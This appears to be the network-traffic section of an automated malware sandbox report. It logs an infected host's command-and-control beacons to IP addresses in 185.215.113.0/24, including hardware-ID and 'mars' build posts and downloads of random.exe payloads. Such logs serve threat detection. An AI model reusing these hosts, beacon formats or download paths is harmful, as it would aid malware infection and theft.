Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAAKEBGDAFHIIDHIIECFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 41 4b 45 42 47 44 41 46 48 49 49 44 48 49 49 45 43 46 2d 2d 0d 0a Data Ascii: ------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------AAAKEBGDAFHIIDHIIECFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AAAKEBGDAFHIIDHIIECF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 30 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006014001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 30 31 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006015001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Wed, 13 Nov 2024 17:05:35 GMTIf-None-Match: "6734dc5f-1b3c00"
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFBAKECAEGCBFIEGDGIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 31 32 30 41 46 45 42 44 39 39 31 33 31 32 36 34 37 36 39 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 2d 2d 0d 0a Data Ascii: ------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="hwid"09120AFEBD991312647697------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="build"mars------AAFBAKECAEGCBFIEGDGI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 30 31 36 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006016031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 36 30 31 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006017001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIDAKKJJJKKECAKKJEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 31 32 30 41 46 45 42 44 39 39 31 33 31 32 36 34 37 36 39 37 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 44 41 4b 4b 4a 4a 4a 4b 4b 45 43 41 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HIIIDAKKJJJKKECAKKJEContent-Disposition: form-data; name="hwid"09120AFEBD991312647697------HIIIDAKKJJJKKECAKKJEContent-Disposition: form-data; name="build"mars------HIIIDAKKJJJKKECAKKJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGDHJJDGHCAAAKEHIJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 31 32 30 41 46 45 42 44 39 39 31 33 31 32 36 34 37 36 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="hwid"09120AFEBD991312647697------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="build"mars------EGDGDHJJDGHCAAAKEHIJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDAAKFIDGIEGDGDHIDAKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 31 32 30 41 46 45 42 44 39 39 31 33 31 32 36 34 37 36 39 37 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 2d 2d 0d 0a Data Ascii: ------GDAAKFIDGIEGDGDHIDAKContent-Disposition: form-data; name="hwid"09120AFEBD991312647697------GDAAKFIDGIEGDGDHIDAKContent-Disposition: form-data; name="build"mars------GDAAKFIDGIEGDGDHIDAK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
